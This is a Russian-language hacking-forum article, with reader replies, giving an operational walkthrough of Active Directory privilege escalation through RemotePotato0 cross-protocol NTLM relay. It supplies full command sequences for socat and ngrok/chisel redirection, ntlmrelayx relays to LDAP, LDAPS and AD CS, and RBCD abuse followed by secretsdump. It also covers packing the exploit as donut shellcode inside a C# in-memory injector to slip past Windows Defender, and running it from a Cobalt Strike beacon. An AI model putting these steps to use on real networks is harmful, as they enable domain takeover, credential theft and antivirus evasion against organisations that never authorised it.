• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Удаленная Картошка Ноль и Cobalt Strike. Повышаем привилегии в AD через кросс-протокольную атаку NTLM Relay

snovvcrash

floppy-диск
Пользователь
Регистрация
09.05.2022
Сообщения
5
Реакции
69
Удаленная Картошка Ноль и Cobalt Strike. Повышаем привилегии в AD через кросс-протокольную атаку NTLM Relay

Идея для этой статьи пришла после одного внутряка, когда я попал в среду Active Directory, где члены группы безопасности Domain Users (все пользователи домена) обладали привилегией для удаленного подключения к контроллерам по протоколу RDP. Хоть это уже само по себе ужасная мисконфига, атакующий все еще должен найти способ для локального повышения привилегий на DC, что проблематично, если на системе стоят все хотфиксы. Здесь и приходит на помощь баг фича из серии Microsoft Won't Fix List – кросс-сессионное провоцирование вынужденной аутентификации по протоколу RPC – которая при отсутствии защиты служб LDAP(S) от атак NTLM Relay мгновенно подарит нам ключи от Королевства.

Далее мы поговорим о различных вариациях проведения данной атаки с использованием (и без) эксплоита RemotePotato0.exe, о том, как скрыть его от Windows Defender, а также я покажу, что делать в случае, если в нашем распоряжении есть только маячок CS и нет вспомогательного хоста внутри локальной сети, по словам автора эксплоита «необходимого» для атаки.


ДИСКЛЕЙМЕР
Вся информация в этой статье представлена исключительно в исследовательских целях. Автор не несет ответственности за любое неправомерное и/или незаконное использование опубликованных материалов. Неправомерное завладение компьютерной информацией, создание и распространение вредоносного ПО, а также проведение несанкционированных мероприятий по тестированию на проникновение преследуется по закону. Все описанные действия выполнялись в частной инфраструктуре автора статьи, ни одна уточка не пострадала. Dixi.

Предыстория

Итак, внутренний пентест. Все по классике: только я, мой ноутбук, капюшон с маской Гая Фокса, переговорка, скоммутированная розетка RJ-45 и просторы корпоративной сети жертвы аудита. Отсутствие правил фильтрации IPv6 в моем широковещательном домене – в роли уязвимости, отравленные пакеты DHCPv6 Advertise с link-local IPv6-адресом моего ноутбука (mitm6) – в роли атаки, и вот получен первоначальный аутентифицированный доступ в среду AD. Далее сбор дампа «блада» с помощью BloodHound.py, пока все по классике. Но вот то, что было дальше, ПОВЕРГЛО ВСЕХ В ШОК (ПЕРЕЙДИ ПО ССЫЛКЕ ДЛЯ ПРОДОЛЖЕНИЯ)...

Шучу, всего лишь все доменные пользюки могут коннектиться к контроллерам домена по RDP, что может пойти не так?


bloodhound.png

Рис. 1. Найди уязвимость на картинке

На самом деле, уже в этот момент можно начинать потирать руки в предвкушении кредов доменадмина. Убедимся, что мы можем релеить Net-NTLMv2 аутентификацию на службы LDAP(S) с помощью LdapRelayScan.

Bash:
~$ python3 LdapRelayScan.py -method BOTH -dc-ip <REDACTED> -u <REDACTED> -p <REDACTED>
ldaprelayscan.png

Рис. 2. PARTY TIME, бич!

Неудивительно, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отключены – еще мало кто осознал, что это мастхэв-mitigations АД в наше время.

А теперь по порядку, что со всем этим можно сделать...


Немного (нудной теории) о «картошках»

Теория – это всегда нудно и скучно, но в этом случае она прям сильно нужна для базового представления о проводимой атаке. Я постараюсь не затягивать.

RottenPotato & Co.

В далеком 2016 г. умные люди придумали RottenPotato – технику локального повышения привилегий с сервисных аккаунтов Windows (например, IIS APPPOOL\DefaultAppPool или NT Service\MSSQL$SQLEXPRESS), обладающих привилегей олицетворения чужих токенов безопасности (aka SeImpersonatePrivilege), до NT AUTHORITY\SYSTEM.

Для этого атакующий должен был:

  1. Спровоцировать вынужденную аутентификацию со стороны NT AUTHORITY\SYSTEM на машине-жертве через триггер API-ручки DCOM/RPC CoGetInstanceFromIStorage в отношении локального слушателя (выступает в роли «человека посередине»).
  2. Одновременно провести локальную атаку NTLM Relay на службу RPC (135/TCP) и дернуть API-вызов DCOM/RPC AcceptSecurityContext, передавая ему содержимое NTLM-части запроса Negotiate (NTLM Type 1) от NT AUTHORITY\SYSTEM.
  3. Подменить NTLM-челлендж (NTLM Type 2), исходящий от службы RPC (135/TCP), на челлендж, полученный из ответа AcceptSecurityContext, и продолжить изначальный релей на RPC из шага 1. В данном контексте NTLM-ответ службы RPC (135/TCP) используется просто как шаблон сетевого ответа, в который мы инжектим нужное нам тело NTLM-челленджа.
  4. После успешного получения NTLM-аутентификации (NTLM Type 3) клиента RPC из шага 1 в ответ на NTLM-челлендж (NTLM Type 2) из шага 3 зарелеить ее на RPC-ручку AcceptSecurityContext и получить токен системы. На этом NTLM Relay окончен.
  5. Имперсонировать (олицетворить) NT AUTHORITY\SYSTEM. Мы можем это сделать в силу наличия у нас привилегии SeImpersonatePrivilege.
rottenpotato-scheme.png

Рис. 3. Механизм работы RottenPotato (изображение – jlajara.gitlab.io)

Некоторое время спустя лавочку прикрыли, запретив DCOM/RPC общаться с локальными слушателями – никаких тебе больше МитМ-ов. Но «картошки» все равно претерпевали изменения: были напилены LonelyPotato (неактуально) и JuicyPotato – улучшенная версия RottenPotato, умеющая работать с разными значениями CLSID (Class ID, идентификатор COM-класса) для «арбузинга» других служб (помимо BITS, которую использовала оригинальная «картошка»), в которых реализован интерфейс IMarshal для триггера NTLM-аутентификации.

В данном случае процесс провоцирования NTLM-аутентификации в своей основе имеет схожей принцип с вредоносной десериализацией объектов, только здесь это называется «анмаршалинг» – процесс восстановления COM-объекта из последовательности бит после его передачи в целевой метод в качестве аргумента.

Атакующий создает вредоносный COM-объект класса IStorage и вызывает API CoGetInstanceFromIStorage с указанием создать объект класса с конкретным идентификатором CLSID и инициализировать его состоянием из маршализированного вредоносного объекта. Одно из полей маршализированного объекта содержит указатель на подконтрольный атакующему слушатель, на который автоматически приходит отстук с NTLM-аутентификацией в процессе анмаршалинга.

C++:
public static void BootstrapComMarshal(int port)
{
    IStorage stg = ComUtils.CreateStorage();

    // Use a known local system service COM server, in this cast BITSv1
    Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

    TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));

    MULTI_QI[] qis = new MULTI_QI[1];

    qis[0].pIID = ComUtils.IID_IUnknownPtr;
    qis[0].pItf = null;
    qis[0].hr = 0;

    CoGetInstanceFromIStorage(null, ref clsid,
        null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}

Подробнее о механизме триггера NTLM-аутентификации в ходе абьюза DCOM/RPC можно почитать в первом репорте на эту тему:

RoguePotato

С релизом RoguePotato – эволюционировавшей версией Juicy Potato – был продемонстрирован альтернативный подход к олицетворению привилегированных системных токенов:
  1. Атакующий поднимает кастомный сервис OXID (Object Exporter ID) Resolver на локальном порту атакуемой машины, отличном от 135/TCP. OXID-резолвер используется в Windows для разрешения идентификатора вызываемого интерфейса RPC (в нашем случае подконтрольного аттакеру) в его имя, т. е. в строку RPC-биндинга.
  2. Атакующий говорит службе DCOM/RPC машины-жертвы постучаться на удаленный IP-адрес (контролируется атакующим) для резолва той самой OXID-записи. Это необходимо в силу того, что Microsoft запретили обращение к локальным OXID-резолверам, слушающим НЕ на порту 135/TCP.
  3. На том самом удаленном IP-адресе аттакер поднимает socat (или любой другой TCP-редиректор) на порту 135/TCP и зеркалит пришедший OXID-запрос на атакуемую машину в порт, на котором слушает кастомный сервис OXID Resolver из шага 1. Последний резолвит предоставленный идентификатор в стрингу RPC-биндинга именнованного канала ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper].
  4. Далее машина-жертва наконец-то делает вредоносный RPC-вызов (API-ручка IRemUnkown2) с подключением к подконтрольному атакующему пайпу из шага 3, что позволяет нам олицетворить подключившегося клиента с помощью RpcImpersonateClient, как это описал @itm4n в судьбоносном ресерче PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019.
roguepotato-scheme.png

Рис. 4. Механизм работы RoguePotato (изображение – jlajara.gitlab.io)

С базовой теорией закончили.

Хороший тамлайн с кратким описанием всех «картошек» можно найти в этой статье:

RemotePotato0

И опять немного нудной теории.

Введение

RemotePotato0 – успешный результат попытки расширить область применения RoguePotato для проведения атак на доменные учетные записи.

Работает это дело примерно так же, как и RoguePotato, за исключением того, что теперь мы используем другие службы (с другими значениями CLSID) для триггера NTLM-аутентификации от имени пользователей, сессии которых существуют на атакуемой машине одновременно с нашей. Первоначальный вариант эксплоита работал только при условии действия атакующего из так называемого «нулевого сеанса».

Session 0 Isolation – концепция разделения сессий пользователей от сессий системных служб и неинтерактивных приложений. Начиная с Windows Vista, все пользователя, подключаясь на машину удаленно по протоколу RDP, проваливаются в свою сессию, откуда не могут взаимодействовать с процессами, запущенными в других сессиях, если не обладают правами локального администратора. Однако, если пользюк подключен через службу WinRM (Windows Remote Management, 5985-5986/TCP) или SSH, то он проваливается непосредственно в нулевой сеанс, т. к. сами вышеуказанные службы существуют именно там.

Наглядный пример: пользователь TINYCORP\j.doe в моей лабе не имеет прав локаладмина на сервере TEXAS, поэтому не может видеть запущенных от имени администратора процессов Google Chrome, будучи подключенным по RDP. Однако, если открыть диспетчер задач с правами администратора, эти процессы будут отображены.
taskmgr-sessions.png

Рис. 5. Запуск диспетчера задач с разными правами

С другой стороны, если я включу этого пользователя в локальную группу Remote Management Users на этом сервере и подключусь к нему с помощью Evil-WinRM, я окажусь в контексте Session 0, по-прежнему не обладая правами локаладмина.

evil-winrm-session.png

Рис. 6. Внутри нулевого сеанса по WinRM

Это не означает, что я теперь могу делать с процессами в других сессиях все, что захочу, однако открывает интересные возможности в контексте взаимодействия с ними через DCOM/RPC.

То есть в ситуации, когда у нас есть пользователь с правами подключения к серверам в контексте нулевого сеанса посредством WinRM и/или SSH (т. е. входящий в группу Remote Management Users), но не обладающий правами локаладмина (в противном случае мы можем просто сдампить LSASS для получения нужных кред), можно было использовать трюк с RemotePotato0 при условии существования на атакуемом сервере сессий привилегированных пользователей. По словам автора эксплоита в этом случае при триггере NTLM-аутентификации через определенный CLSID мы сможем угнать контекст сессии с наименьшим значением ее идентификатора:
"If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id)". – (c)

Понятно, что при таком раскладе область применимости RemotePotato0 была не очень широкой, поэтому хайпа вокруг этого метода было немного.

Спустя некоторое время на всеобщую радость эксплоит обновился и стал поддерживать функционал кросс-сессионного триггера NTLM-аутентификации: это означает, что действуя даже в рамках сессии № 1 из RDP, мы можем дернуть привилегированный контекст администратора, также залогиненного в RDP, но в сессии № 2. Вот это уже прям пушка.


Как работает и когда использовать

Перед переходом к практике суммируем знания о RemotePotato0.

Условия применимости атаки (что нам нужно иметь):

  1. Скомпрометированная доменная УЗ, имеющая привилегии подключения к удаленному серверу по протоколу RDP, где потенциально может тусить привилегированные пользователи. На самом деле, это условие встречается практически везде, т. к. везде есть терминальники, куда время от времени заглядывают доменадмины.
  2. Подконтрольный атакующему хост в интранете, имеющий сетевую связанность по порту 135/TCP с атакуемым сервером (от этого условия мы избавимся далее).
  3. Незащищенный эндпоинт с доменной аутентификацией, куда можно релеить Net-NTLMv2 аутентификацию, прилетевшую на наш HTTP-сервер. Идеальный вариант – службы LDAP(S) (или дефолтная прила веб-энролмента AD CS).
  4. Возможность исполнения бинаря RemotePotato0.exe на атакуемом сервере в обход средств антивирусной защиты.
Как работает атака:
  1. Действуя из сессии непривилегированного пользователя, подключенного по RDP к серверу, где есть сессия привилегированного (или любого другого интересующего нас) доменного пользователя, атакующий триггерит NTLM-аутентификацию от имени жертвы через анмаршалинг вредоносного объекта COM-класса IStorage посредством передачи его в качестве аргумента в API-ручку CoGetInstanceFromIStorage. В вредоносном объекте живет IP-адрес и порт подконтрольного атакующему сетевого узла, куда позже прилетит NTLM-аутентификация.
  2. На своем сервере атакующий зеркалит трафло, пришедшее на 135/TCP порт, обратно на атакуемую машину в порт, где уже поднят фейковый OXID-резолвер, который отдает запросу DCOM нужный RPC-биндинг.
  3. Частично повторяется шаг 4 из описания работы RoguePotato: вызов IRemUnknown2::RemRelease в отношении локального RPC-сервера, инкапсуляция RPC-запроса с NTLM-аутентификацией в HTTP и перенаправление его на наш HTTP-сервер. Последний уже поднят на машине атакующего в виде инстанса ntlmrelayx.py.
  4. Проведение кросс-протокольной атаки NTLM Relay на незащищенный эндпоинт с доменной аутентификацией, например LDAP. В этом случае атакующий может добавить подконтрольного ему доменного пользователя в привилегированные доменные группы безопасности, настроить ограниченное делегировании на основе ресурсов (атака RBCD Abuse) для критических доменных ресурсов или использовать любой другой поддерживаемый вектор атаки ntlmrelayx.py.
remotepotato0-scheme.jpg

Рис. 7. Механизм работы RemotePotato0 (изображение – www.sentinelone.com)

Перейдем к практике.

Сферические примеры в вакууме

Прежде чем говорить об уклонении от AV и других улучшалках, посмотрим на атаку при отключенных средствах защиты, чтобы понимать, какого результата нам ожидать.

Я загружу свежий релиз RemotePotato0 и распакую его.

Код:
PS > curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip -o RemotePotato0.zip
PS > Expand-Archive .\RemotePotato0.zip -DestinationPath .
PS > ls .\RemotePotato0*
PS > .\RemotePotato0.exe
remotepotato0-help.png

Рис. 8. Загрузка и распаковка RemotePotato0

Как можно видеть из help-а, в нашем распоряжении несколько режимов атаки: можно либо отправить аутентификацию на relay-сервер для ее перенаправления на другой эндпоинт (режим 0, по умолчанию), либо получить значение хеша Net-NTLMv2 для его офлайн-перебора (режим 2). Режимы 1 и 3 предназначены для триггера NTLM-аутентификации вручную, без «картошки», поэтому нам это не очень интересно.

Для разминки сперва попробуем режим 2:

  • -m – режим атаки,
  • -x – IP-адрес TCP-редиректора, который отзеркалит OXID-резолв обратно на машину-жертву на порт, указанный в опции -p (если бы я использовал Windows Server 2012, можно было бы обойтись без этой опции, т. к. на нем нет фиксов по запрету резолва OXID-запросов через нестандартные порты),
  • -p – порт фейкового локального OXID-резолвера, куда будет отзеркален OXID-запрос машиной атакующего,
  • -s – номер сессии пользователя, которого мы хотим олицетворить.
Код:
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<VICTIM_IP>:9998
PS > .\RemotePotato0.exe -m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>
https://xss.pro/attachments/35585/?hash=2a5565aa28e5e37135b4a09a5afb4d69
remotepotato0-hashes.png

Рис. 9. Запуск RemotePotato0 в режиме сбора хешей

Как видим, мы успешно получили значение хеша Net-NTLMv2, который теперь можно спокойно брутить в офлайне (режим 5600 в hashcat в помощь). Это полноценная замена атаки Internal Monologue, не требующая к тому же прав локального администратора.

Теперь перейдем к релею на LDAP. Опции те же самые, только добавим флаг -r, задающий IP-адрес HTTP-сервера атакующего, который проведет NTLM Relay.

Код:
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<VICTIM_IP>:9998
~$ sudo ntlmrelayx.py -t ldap://<DC_IP> --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
PS > .\RemotePotato0.exe -m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>
remotepotato0-relay.png

Рис. 10. Запуск RemotePotato0 в режиме релея

Вжух, и одной командой мы энтЫрпрайз одмены.

Боевая практика

Это все, конечно, здорово, но совсем не жизненно.

Усложним задачу: нужно провести ту же атаку при активном дефендере и не обладая вспомогательной машиной на Linux, на которой поднимается TCP-редиректор.


Уклоняемся от AV

Судя по моему опыту, большинство аверов детектят RemotePotato0.exe, основываясь исключительно на сигнатурном анализе:

Код:
rule SentinelOne_RemotePotato0_privesc {
    meta:
        author = "SentinelOne"
        description = "Detects RemotePotato0 binary"
        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
        
    strings:
        $import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
        
    condition:       
        (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Есть несколько возможных решений этой проблемы:

  1. Упаковать RemotePotato0.exe с помощью какого-нибудь архиватора/энкодера/шифратора.
  2. Выдернуть шеллкод из исполняемого файла и внедрить его в процесс из памяти.
На самом деле, второй способ – это оверкил, потому что против Windows Defender работает даже упаковка UPX-ом (поэтому всякие Ebowla-ы можно не трогать).

remotepotato0-upx.png

Рис. 11. Defender Advanced (ага да) Evasion UPX-упаковкой

Но я могу лучше: второй способ не потребует даже загрузки исполняемого файла эксплоита на диск, поэтому реализуем это.

Для кСаКеПа я писал о бесшумном внедрении шеллкода в память удаленных процессов с помощью механизма D/Invoke:
Может быть полезным чтивом.

Помимо D/Invoke существует еще один интересный способ обфускации вызовов Win32 API при трейдкрафте на C#. Он освещен в этой статье – Unmanaged Code Execution with .NET Dynamic PInvoke.

Суть проста: в C# существует нативный механизм System.Reflection.Emit, позволяющий «на лету» создавать сборки .NET и исполнять их с помощью механизма Reflection.Assembly из памяти прямо в рантайме. Используя этот механизм, мы можем так же «на лету» строить обертки для вызовов Win32 API, не прибегая к статическим декларациям P/Invoke.

Пример определения функции CreateThread, дергающей одноименную ручку API из kernel32.dll:

C#:
class DPInvoke
{
    static object DynamicPInvokeBuilder(Type type, string library, string method, object[] parameters, Type[] parameterTypes)
    {
        AssemblyName assemblyName = new AssemblyName("Temp01");
        AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
        ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");

        MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, parameterTypes, CallingConvention.Winapi, CharSet.Ansi);

        methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
        moduleBuilder.CreateGlobalFunctions();

        MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
        object result = dynamicMethod.Invoke(null, parameters);

        return result;
    }

    public static IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)
    {
        Type[] parameterTypes = { typeof(IntPtr), type[/SIZE]of(uint), typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) };
        object[] parameters = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
        var result = (IntPtr)DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "CreateThread", parameters, parameterTypes);
        return result;
    }
}

На основе примеров из статьи выше я напилил ШАБЛОН для автоматизации создания self-инжекторов. Шеллкоды генерируются из PE-файлов с помощью этого форка проекта donut.

Для компиляции .NET потребуется машина с Visual Studio.

Код:
~$ wget -q https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip
~$ unzip RemotePotato0.zip
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin
PS > $binaryName = "RemotePotato0"
PS > $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\${binaryName}.bin")
PS > [System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
PS > $dStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
PS > $dStream.Write($bytes, 0, $bytes.Length)
PS > $dStream.Dispose()
PS > $outBytes = $outStream.ToArray()
PS > $outStream.Dispose()
PS > $b64Compressed = [System.Convert]::ToBase64String($outBytes)
PS > $template = (New-Object Net.WebClient).DownloadString("https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37/raw/881ec72c7c310bc07af017656a47d0c659fab4f6/template.cs") -creplace 'DONUT', $b64Compressed
PS > $template -creplace 'NAMESPACE', "${binaryName}Inject" > ${binaryName}Inject.cs
PS > csc /t:exe /platform:x64 /out:${binaryName}Inject.exe ${binaryName}Inject.cs
PS > rm ${binaryName}Inject.cs
remotepotato0-compile-injector.png

Рис. 12. Компиляция self-инжектора

Протестим его в следующем разделе, когда решим проблему с TCP-редиректором.


ngrok + socat = 💕

Допустим, мы получили бикон CS на уязвимом для атаки сервере, но у нас нет другого ресурса во внутренней сети жертвы, чтобы использовать его как зеркало для OXID-запросов.

Для имитации этой ситуации я врубил обратно дефендёр и воспользовался своим волшебным инжектором (с позаимствованной у @_RastaMouse техникой Module Stomping) и получил сессию кобы.


cs-first-beacon-trigger.png

Рис. 13. Ничего подозрительного

cs-first-beacon-callback.png

Рис. 14. You've poped a shell!

Теперь немного пивотинга: отсутствие вспомогательной машины я компенсирую тем, что подниму TCP-инстанс ngrok, который даст белый эндпоинт для общения с машиной атакующего (которая находится за пределами внутренней сети).

Код:
~$ ngrok tcp 136
ngrok-tcp-136.png

Рис. 15. ngrok слушает на 136/TCP

Так как мы не можем контролировать порт, который ngrok вешает на белый адрес (а нам нужен только 135/TCP), понадобится еще один редиректор, в роли которого выступит socat на моей VDS-ке (на атакуемом сервере должен быть доступ в Интернеты, чтобы до него достучаться).

Код:
~$ nslookup <NGROK_IP>
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
vds-ngrok-socat.png

Рис. 16. ngrok + socat на VDS

Теперь я могу ловить трафик на 136/TCP на машине аттакера, прилетевший с ngrok с VDS, и перенаправлять его обратно на жертву. В этом мне поможет SOCKS-прокся, развернутая кобой.

Эмпирическим путем было установлено, что проксю лучше поднимать в отдельном биконе, т. к. изначальная сессия начинает тупить, когда мы делаем execute-assembly с нашим инжектором, который мы так и не протестили – исправим это (теперь надо только перегенерить шеллкод с нужным IP ВДС-ки в аргументе -x).

Код:
beacon(2)> socks 1080
~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
beacon(1)> execute-assembly RemotePotato0Inject.exe
cs-remotepotato0-hashes.png

Рис. 17. А вот и хешики!

vds-remotepotato0-hashes.png

Рис. 18. Тем временем на VDS

Но и это не предел наших возможностей – таким же способом можно зарелеить доменадмина на LDAP. Для начала перегенерим шеллкод с нужными нам аргументами (изменим режим в -m и добавим адрес VDS в -r).

Код:
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r <VDS_IP> -x <VDS_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin

К сожалению, на фри-версии ngrok-а не получится одновременно поднять второй канал, поэтому я воспользуюсь chisel-ом для перенаправления HTTP-трафла. Откровенно говоря, можно было и первый редирект настроить через chisel, и не юзать ngrok вообще, но ладно.

Код:
beacon(2)> socks 1080
(ATTACKER) ~$ ngrok tcp 136
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 8000 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:8000 R:80:127.0.0.1:8080
(ATTACKER) ~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
(ATTACKER) ~$ sudo proxychains4 -q ntlmrelayx.py -t ldap://<DC_INTERNAL_IP> --http-port 8080 --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
beacon(1)> execute-assembly RemotePotato0Inject.exe
cs-remotepotato0-relay.png

Рис. 19. Релеим HTTP через chisel

vds-remotepotato0-relay.png

Рис. 20. Тем временем на VDS (дубль 2)

И я снова энтерпрайз админ. Таким образом, мы скрафтили способ повышения привилегий с помощью RemotePotato0 без использования вспомогательного хоста на внутреннем периметре :3

Бонус №1. Релей на AD CS (ESC8)

В случае, если по какой-либо причине релеить на LDAP(S) не получается, но в домене есть незащищенный эндпоинт Web Enrollment центра сертификации AD CS, можно провернуть вариацию атаки ESC8 (смотрим ресерч, если кто не в теме).

Для того, чтобы релей сработал в этом случае, может потребоваться поиграть с разными значениями CLSID, которые можно указать через аргумент -c. Захардкоженное значение {5167B42F-C111-47A1-ACC4-8EABE61B0B54} не сработает из-за того, что разные службы (с разными CLSID) используют разные уровни аутентификации при их триггере по RPC (определяется значением этих констант). То, что работает при релее на LDAP, может не сработать при релее на SMB / HTTP (в случае ESC8 релеим именно на HTTP).

Так вот, опять же империческим путем выяснено, что для ESC8 подходит служба CastServerInteractiveUser со значением CLSID {f8842f8e-dafe-4b37-9d38-4e0714a61149}.

Продемонстрировать со скриншотом, к сожалению, не получится, т. к. в моей лаба сервер TEXAS и выполняет роль AD CS, а reflective-релей с самого на себе не сработает.


adcs-server.png

Рис. 21. Вот вам пруф ^^

Но в командах это должно было бы выглядеть примерно так:

Код:
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s <SESSION_ID> -c {f8842f8e-dafe-4b37-9d38-4e0714a61149}' -o RemotePotato0.bin
~$ ntlmrelayx.py -t http://<ADCS_CA_IP>/certsrv/certfnsh.asp --no-smb-server --no-wcf-server --no-raw-server --adcs --template User

При успешной генерации сертификата от имени атакованного пользюка, далее действуем обычно, как это происходит после проведение ESC8-атаки, а именно пользуемся Рубевусом (флаг /getcredentials) или PKINITtools для получения TGT и/или NT-хеша жертвы.


Бонус №2. Remote Potato без RemotePotato0.exe

В репе Impacket-а висит пулл реквест, избавляющий от необходимости тащить на атакуемый хост RemotePotato0.exe: триггер NTLM-аутентификации перенесли в форк SweetPotato, RPC-сервер реализовали в самом ntlmrelayx.py, а OXID-резолвер вынесли в отдельный скрипт. Однако в этом случае самый вкусный функционал будет урезан – триггерить NTLM-аутентификацию можно только от имени машинной УЗ, но не сквозь чужую сессию.

Я покажу способ вооружить и этот вариант атаки, имея под рукой только бикон кобы и инстанс VDS, через классическую реализацию RBCD-абьюза для пывна сервера, откуда прилетает аутентификация.

Для этого сначала определимся, что, куда и зачем мы редиректим:

  1. С помощью ngrok создаем TCP-канал извне до localhost:135. Так как RPC-сервер теперь крутится на машине атакующего, нам не нужно ничего зеркалить вторым socat; достаточно запустить rpcoxidresolver.py, который уже слушает localhost:135.
  2. С помощью chisel пробрасываем порт 9997 с VDS на порт 9998 машины атакующего, на котором случает RPC-сервер ntlmrelayx.py. В качестве адреса RPC-сервера в rpcoxidresolver.py (опция -rip) указываем IP нашего VDS – это нужно для того, чтобы передать NTLM-аутентификацию в ntlmrelayx.py (при использовании адреса 127.0.0.1 работать отказывается).
  3. ntlmrelayx.py пускаем через проксю кобы для релея на службу LDAPS контроллера домена. Да, на LDAPS, потому что в результате релея мы хотим настроить делегирование относительно вспомогательной сервисной УЗ, которую нельзя создать по LDAP.
  4. Стреляем SweetPotato.exe из кобы с триггером CLSID {42CBFAA7-A4A7-47BB-B422-BD10E9D02700}, предлагаемого автором PR-а.
Код:
beacon(2)> socks 1080
(ATTACKER) ~$ ngrok tcp 135
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 6666 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:6666 R:9997:127.0.0.1:9998
(ATTACKER) ~$ python examples/rpcoxidresolver.py -oip 127.0.0.1 -rip <VDS_IP> -rport 9997
(ATTACKER) ~$ proxychains4 -q python examples/ntlmrelayx.py -t ldaps://<INTERNAL_DC_IP> --rpc-port 9998 -smb2support --no-smb-server --no-http-server --no-wcf-server --no-raw-server --no-da --no-acl --delegate-access
beacon(1)> execute-assembly SweetPotato.exe -e 1 -oip <VDS_IP> -c 42CBFAA7-A4A7-47BB-B422-BD10E9D02700
cs-sweetpotato-relay.png

Рис. 22. S4U2Proxy, я иду!

После этого, полагаю, не нужно объяснять, что делать. Получим TGS через транзитные расширения Kerberos-а S4U2Self & S4U2Proxy с олицетворением пользователя administrator (getST.py) и фигачим secretsdump.py / wmiexec.py, чтобы извлечь секреты LSA или получить шелл на сервере.

rbcd-abuse.png

Рис. 22. Теперь мы админы на сервере TEXAS

Прикольный вариант атаки, но протащить и выполнить оригинальный бинарь, как мы показали ранее, тоже не составляет большого труда.

Закончить хотелось бы словами классика: «Следи за собой, будь осторожен».

Спасибо за внимание.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот!
Об этом шла речь, когда на голосование выносился вопрос продления срока конкурса!

Это однозначный лайк и голос от меня.
 
Это полноценная замена атаки Internal Monologue, не требующая к тому же прав локального администратора.
Всеже не совсем полноценная.
У монолога даунгрейд до NetNTLMv1 a тут NetNTLMv2 будет. У NetNTLMv1 DES - что считай клиртекст.
потому что против Windows Defender работает даже упаковка UPX-ом
Зря вы так про деф, полностю обновлекный дефендер видит многое.
Его старший братишка - Microsoft Defender for Endpoint еще больше.
UPX под софосом \ саентилом \ etc -> создаст детект даже если вы калькулятор пакуете.

Респект ТСу за пулл-реквесты и статью.
snovvcrash
 
Последнее редактирование:
У монолога даунгрейд до NetNTLMv1 a тут NetNTLMv2 будет. У NetNTLMv1 DES - что считай клиртекст.
Согласен, плюс один шаг по бруту NTLMv1, и будет NT-хеш.
Зря вы так про деф, полностю обновлекный дефендер видит многое.
Его старший братишка - Microsoft Defender for Endpoint еще больше.
Речь шла про конкретный случай - бинарь RemotePotato0. В остальном соглашусь, дефендер далеко не дно)
UPX под софосом \ саентилом \ etc -> создаст детект даже если вы калькулятор пакуете.
